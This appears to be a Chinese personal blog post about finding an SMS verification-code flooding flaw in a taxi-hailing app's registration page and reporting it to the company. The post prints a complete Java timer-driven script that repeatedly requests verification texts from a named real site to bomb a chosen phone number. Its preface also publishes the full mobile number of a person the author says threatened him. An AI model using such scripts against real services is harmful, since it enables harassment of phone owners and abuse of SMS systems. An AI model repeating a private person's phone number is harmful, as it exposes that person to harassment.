写在前面:
刚才有人人身威胁我,说的孔武有力的,这哥们手机号:15953100682,我把你不爽的那句话删了,其他都是事实,有劲你去找你们研发人员,为难自己员工,真的好意思吗?
你们强制删微博,很好。这个博客的东西是我自己的,劳资哪怕不干了也不会删的。漏洞也当面告诉你们了,你们改不改BUG,看不看我博客你们随意。
公司做了一个召出租车的软件,偶然发现了一个注册页面的短信验证码DDOS攻击漏洞。于是简单写个java类进行攻击测试,果然可以无限制发送垃圾短信。无奈这个也算自己公司做的,所以果断发微博@他们官方微博告知,没想到不一会就一个小姑娘给我打电话送来感谢话语,而且叮嘱马上关了程序吧,说工程师马上改……~hoho
首先说下原理:短信验证码想法是好的,可以有效防止注册攻击。但是如果发送短信没有时间限制或者每日发送条数的显示,很容易被人用来制作短信炸弹。简单的说就是通过程序不断模拟发送短信的请求,从而对指定号码发送短信。当然现在都是智能手机,可以马上屏蔽掉,但是垃圾短信还是会发送到后台的,至少我用安卓手机测试是这样的。
JAVA 测试类代码,继承了一个TimerTask类,大家懂得,可以写个定时器定时执行。他们已经改了,所以不用试了,仅供参考。
public class SmsBomb3 extends TimerTask{
public static int times=0;
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
HttpClient client = new HttpClient();
Map paraMap=new HashMap();
PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
//NameValuePair a = new NameValuePair("phone","186XXXXOOOO");//186XXXXOOOO
//post.setRequestBody(new NameValuePair[] {a});
//HttpMethod httpPost =getGetMethod();
client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
try {
int status = client.executeMethod(post);
System.out.println("status:"+status);
System.out.println(post.getResponseBodyAsString());
} catch (HttpException e) {
e.printStackTrace(System.err);
} catch (IOException e) {
e.printStackTrace(System.err);
}finally{
post.releaseConnection();
}
}
public void run() {
// TODO Auto-generated method stub
times=times+1;
HttpClient client = new HttpClient();
PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
//HttpMethod httpPost =getGetMethod();
client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
try {
int status = client.executeMethod(post);
if(status==200)
{
System.out.println("ping success!"+times);
// System.out.println(httpPost.getResponseBodyAsString());
}
else if(status==302)
{
System.out.println("页面请求返回值为:"+status);
System.out.println(post.getResponseBodyAsString());
}
else
{
System.out.println("页面请求返回值为:"+status);
}
} catch (HttpException e) {
e.printStackTrace(System.err);
} catch (IOException e) {
e.printStackTrace(System.err);
}finally{
post.releaseConnection();
}
}
}
最后附上他们微博感谢的截图,嘿嘿